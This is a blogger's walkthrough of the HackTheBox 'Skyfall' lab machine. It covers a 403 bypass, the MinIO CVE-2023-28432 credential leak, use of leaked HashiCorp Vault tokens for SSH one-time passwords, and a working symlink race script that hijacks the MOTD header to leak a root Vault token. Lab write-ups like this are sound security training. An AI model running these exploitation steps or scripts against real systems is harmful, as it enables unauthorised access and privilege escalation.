Hackthebox: Skyfall

Foued SAIDI Lv4

Overview

Skyfall is an insane-difficulty linux machine on HackTheBox. It involves some 403 forbidden bypass that leads to the MinIO Cloud Storage hacking through CVE-2023-28432, later gaining access to a HashiCorp vault that allows us to gain footold and our user flag. Finally some Symlink Race Condition to hijack the MOTD (Message Of The Day) feature on linux providing me with vault credentials to gain root access. It was fun!

Skyfall-info-card
Skyfall-info-card

Reconnaissance

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PS C:\Users\foued> nmap -A -Pn 10.129.35.111
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-29 16:37 W. Central Africa Standard Time
NSOCK ERROR [0.2880s] ssl_init_helper(): OpenSSL legacy provider failed to load.

Nmap scan report for 10.129.35.111
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 6570f71247073a888e27e9cb445d10fb (ECDSA)
|_ 256 74483307b7889d320e3bec16aab4c8fe (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=8/29%OT=22%CT=1%CU=36196%PV=Y%DS=2%DC=T%G=Y%TM=66D095D
OS:1%P=i686-pc-windows-windows)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A
OS:)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%TS=D)SEQ(CI=Z%II=I)OPS(O1=M54EST11NW
OS:7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54EST11NW7%O5=M54EST11NW7%O6=M54EST
OS:11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40
OS:%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R
OS:=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%U
OS:N=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 313.00 ms 10.10.16.1
2 135.00 ms 10.129.35.111

We can see that we have OpenSSH running on port 22 and a web application exposed on port 80.

Web Application - http://10.129.35.111

Web App Port 80
Web App Port 80

Going down a bit we find a try our demo button that redirects us to demo.skyfall.htb, we go ahead and add that entry to /etc/hosts.

Clients demo
Clients demo

We navigate to demo.skyfall.htb and it provides us with a demo for some type of a storage with login credentials:

Sky Storage login
Sky Storage login

Sky Storage dashboard
Sky Storage dashboard

MinIO - CVE-2023-28432

Checking what I features I can abuse, I did not really find something exploitable. Nevertheless, the 403 http response code on /metrics seemed a bit interesting:

Metrics
Metrics

Looking a bit closer at 403 (Frobidden) bypass techniques, I stumbled into this blog post . And this %0a payload works! And we get access to /metrics endpoint:

Metrics
Metrics

Looking at the data in front of us, we find another subdomain that we did not discover prior: http://prd23-s3-backend.skyfall.htb

Metrics
Metrics

We go ahead and add that entry to our /etc/hosts file and access it:

MinIO
MinIO

I keep on getting a Access Denied message on my requests.
Looking back at MinIO I find an interesting CVE where MinIO leaks the SECRET_KEY and MINIO_ROOT_PASSWORD, knowing that MinIO is a Multi-Cloud Object Storage framework.
And judging from the info found on the /metrics endpoint, http://prd23-s3-backend.skyfall.htb/ is likely to be the main minio url.

The CVE consists of making a POST request to the /minio/bootstrap/v1/verify endpoint on the main MinIO URL, we do that and we get our leaks:

MinIO
MinIO

"MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww"
"MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0"

Using the username and password I can now login to the cluster using the MinIO Client. MinIO official Documentation helps a lot with that.

First, I set up an alias kujen that points me to the MinIO server http://prd23-s3-backend.skyfall.htb/, then I can abuse the obtained credentials

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ mc alias set kujen http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0 1 ⨯
Added `kujen` successfully.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~]
└─$ mc ls kujen --versions --recursive
[2023-11-07 23:59:15 EST] 0B askyy/
[2023-11-08 00:35:28 EST] 48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 16:37:25 EST] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 16:37:09 EST] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 16:36:30 EST] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-07 23:58:56 EST] 0B btanner/
[2023-11-08 00:35:36 EST] 48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-07 23:58:33 EST] 0B emoneypenny/
[2023-11-08 00:35:56 EST] 48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-07 23:58:22 EST] 0B gmallory/
[2023-11-08 00:36:02 EST] 48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-07 19:08:01 EST] 0B guest/
[2023-11-07 19:08:05 EST] 48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2023-11-07 23:59:05 EST] 0B jbond/
[2023-11-08 00:35:45 EST] 48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-07 23:58:10 EST] 0B omansfield/
[2023-11-08 00:36:09 EST] 48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-07 23:58:45 EST] 0B rsilva/
[2023-11-08 00:35:51 EST] 48KiB STANDARD null v1 PUT rsilva/Welcome.pdf

We can see a few backup files on askyy. Downloading the v2 backup file, we find some juicy data on .bashrc file:

1
2
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"

With now have access to a HashiCorp vault endpoint and vault key, we can get an ssh session by generating an ssh OTP (One-Time Password):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/v2/home_backup]
└─$ vault status
Key Value
--- -----
Seal Type shamir
Initialized true
Sealed false
Total Shares 1
Threshold 1
Version 1.15.1
Build Date 2023-10-20T19:16:11Z
Storage Type file
Cluster Name vault-cluster-746fa9de
Cluster ID 6fc384e6-b108-1b05-2825-1de249607986
HA Enabled false

In order to create an ssh OTP, we need an OTP key. Which we can list now:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/v2/home_backup]
└─$ vault list ssh/roles
Keys
----
admin_otp_key_role
dev_otp_key_role

Now I can simply connect to an ssh session using the OTP, and I get my user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/v2/home_backup]
└─$ vault ssh -role=dev_otp_key_role -mode=otp [email protected]
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 2fa0ba9e-a426-627b-8061-966eb9c6e6c5
([email protected]) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
askyy@skyfall:~$ ls
user.txt
askyy@skyfall:~$ cat user.txt
3ab301911aadc8******************
askyy@skyfall:~$

Privilege Escalation

This is my first time executing such an attack, so bare with me :D

Checking our Sudo privileges:

1
2
3
4
5
6
7
askyy@skyfall:~$ sudo -l
Matching Defaults entries for askyy on skyfall:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User askyy may run the following commands on skyfall:
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml

Executing the command, it generates us a debug.log file, but it’s owned by root and we cannot check its’ contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:~$ ll
total 36
drwxr-x--- 4 askyy askyy 4096 Aug 31 10:08 ./
drwxr-xr-x 3 root root 4096 Jan 19 2024 ../
lrwxrwxrwx 1 askyy askyy 9 Nov 9 2023 .bash_history -> /dev/null
-rw-r--r-- 1 askyy askyy 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 askyy askyy 3771 Nov 9 2023 .bashrc
drwx------ 2 askyy askyy 4096 Oct 9 2023 .cache/
-rw-r--r-- 1 askyy askyy 807 Jan 6 2022 .profile
drwx------ 2 askyy askyy 4096 Jan 18 2024 .ssh/
-rw------- 1 root root 590 Aug 31 10:08 debug.log
-rw-r----- 1 root askyy 33 Aug 30 10:21 user.txt

I honestly started to run out of ideas, but checking this article gave me a good exploitation path.

We will be exploiting the behavior of some internal scripts in linux, one of which is the MOTD (Message of The Day) script, that basically generates us the welcome text when connecting through ssh to the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<snip>
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat Aug 31 09:52:33 2024 from 10.10.x.x
<snip>

We can find the code for this internal script on /etc/update-motd.d/ directory, we have many scripts but the one of interest for us is 00-header.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
askyy@skyfall:~$ cat /etc/update-motd.d/00-header 
#!/bin/sh
#
# 00-header - create the header of the MOTD
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <[email protected]>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release

if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
# Fall back to using the very slow lsb_release utility
DISTRIB_DESCRIPTION=$(lsb_release -s -d)
fi

printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"

The main idea here is to run the vault-unseal command using sudo privileges and symlinking the debug.log file to our 00-header file so we can write contents to it.

Symlink Race
Symlink Race

1
2
When the program run access function, sometimes the context switch saves this process and switches to another process.
If you were fast enough, you could change the symbolic links of “/tmp/XYZ” to another file before function fopen do.

The concept is elaborated with this image:

Fopen Access Switching
Fopen Access Switching

So we will be using a race condition attack to exploit the time differece between access and fopen.
Here’s how the thought process goes:

1
2
3
4
1- The program will check if the user has the necessary permissions to access the file (example: "if (!access(fn, W_OK)) {").
2- The OS can switch to another process after the access execution and before the fopen execution.
3- During that brief switch, we can change the symbolic link to point to another file.
4- Now the program proceeds to execute the fopen to open the file (new file after change).

I made this script that switches between /dev/null and 00-header files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import os
import time

fn = "./debug.log"
switch1 = "/dev/null"
switch2 = "/etc/update-motd.d/00-header"

def symlink(file):
try:
os.symlink(file, fn)
except FileExistsError:
os.unlink(fn)
os.symlink(file, fn)

while True:
symlink(switch1)
time.sleep(0.002)
symlink(switch2)
time.sleep(0.002)

I then run the script in a folder where there is no debug.log file and let it keep running in the background (to keep altering):

1
askyy@skyfall:~/race_condition$ python3 ../exploit.py &

Later I created a bash script to execute the sudo command and to keep checking if the debug.log file has been changed. If it has, then our changes have been written:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash

SYMLINK="debug.log"
CONFIG_FILE="/etc/vault-unseal.yaml"

CHECK_FILE="md5sum $SYMLINK"
old=$($CHECK_FILE)

while true
do
sudo /root/vault/vault-unseal -c $CONFIG_FILE -d

new=$($CHECK_FILE)

if [ "$old" != "$new" ]; then
echo "HACKED"
break
fi
sleep 0.1
done

I will then keep running the bash script until an actual change happens:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
askyy@skyfall:~/race_condition$ ./race.sh
md5sum: ./debug.log: Permission denied
[>] Checking seal status
[+] Vault sealed: false
md5sum: ./debug.log: Permission denied
[>] Checking seal status
[+] Vault sealed: false
md5sum: ./debug.log: Permission denied
[>] Checking seal status
[+] Vault sealed: false
md5sum: ./debug.log: Permission denied
[>] Checking seal status
[+] Vault sealed: false
md5sum: ./debug.log: Permission denied
[>] Checking seal status
[+] Vault sealed: false
<snip>

I will later check the files in that directory and find that the debug file has been changed, then I inspect the 00-header file and find our leaks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
askyy@skyfall:~/race_condition$ ll
total 16
drwxrwxr-x 2 askyy askyy 4096 Aug 31 10:52 ./
drwxr-x--- 6 askyy askyy 4096 Aug 31 10:47 ../
-rw------- 1 root root 555 Aug 31 10:52 debug.log
-rwxrwxr-x 1 askyy askyy 312 Aug 31 10:50 race.sh*
askyy@skyfall:~/race_condition$ cat /etc/update-motd.d/00-header
#!/bin/sh
#
# 00-header - create the header of the MOTD
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <[email protected]>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release

if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
# Fall back to using the very slow lsb_release utility
DISTRIB_DESCRIPTION=$(lsb_release -s -d)
fi

printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"
2024/08/31 10:48:37 Initializing logger...
2024/08/31 10:48:37 Reading: /etc/vault-unseal.yaml
2024/08/31 10:48:37 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/08/31 10:48:37 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/08/31 10:48:37 Check interval: 5s
2024/08/31 10:48:37 Max checks: 5
2024/08/31 10:48:37 Establishing connection to Vault...
2024/08/31 10:48:37 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/08/31 10:48:37 Checking seal status
2024/08/31 10:48:37 Vault sealed: false
2024/08/31 10:49:30 Initializing logger...
2024/08/31 10:49:30 Reading: /etc/vault-unseal.yaml
2024/08/31 10:49:30 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/08/31 10:49:30 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/08/31 10:49:30 Check interval: 5s
2024/08/31 10:49:30 Max checks: 5
2024/08/31 10:49:30 Establishing connection to Vault...
2024/08/31 10:49:30 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/08/31 10:49:30 Checking seal status
2024/08/31 10:49:30 Vault sealed: false
askyy@skyfall:~/race_condition$

This will leak a master token for us to use: hvs.I0ewVsmaKU1SwVZAKR3T0mmG.
We can the inspect our privileges and see that we have root ssh access to the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿kali)-[~]
└─$ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"

┌──(kali㉿kali)-[~]
└─$ export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"

┌──(kali㉿kali)-[~]
└─$ vault list ssh/roles
Keys
----
admin_otp_key_role
dev_otp_key_role

┌──(kali㉿kali)-[~]
└─$ vault token lookup
Key Value
--- -----
accessor bXBeXR3r92WGQ8XgEDx6pIFu
creation_time 1699398419
creation_ttl 0s
display_name root
entity_id n/a
expire_time <nil>
explicit_max_ttl 0s
id hvs.I0ewVsmaKU1SwVZAKR3T0mmG
meta <nil>
num_uses 0
orphan true
path auth/token/root
policies [root]
ttl 0s
type service

Finally, I can simply ssh into the machine as root using the admin OTP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~]
└─$ vault ssh -role=admin_otp_key_role -mode=otp [email protected] 2 ⨯
WARN[0000]log.go:244 gosnowflake.(*defaultLogger).Warn DBUS_SESSION_BUS_ADDRESS envvar looks to be not set, this can lead to runaway dbus-daemon processes. To avoid this, set envvar DBUS_SESSION_BUS_ADDRESS=$XDG_RUNTIME_DIR/bus (if it exists) or DBUS_SESSION_BUS_ADDRESS=/dev/null.
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: e0151541-566a-8eb6-52e7-25242e08c510
([email protected]) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Wed Mar 27 13:20:05 2024 from 10.10.14.46
root@skyfall:~# cat root.txt
f6ec8d78d36797******************
root@skyfall:~#

And that was it for Skyfall :D
Hope you enjoyed it!

-0xkujen

  • Title: Hackthebox: Skyfall
  • Author: Foued SAIDI
  • Created at : 2024-08-29 15:38:11
  • Updated at : 2024-09-13 17:26:54
  • Link: https://kujen5.github.io/2024/08/29/Hackthebox-Skyfall/
  • License: This work is licensed under CC BY-NC-SA 4.0.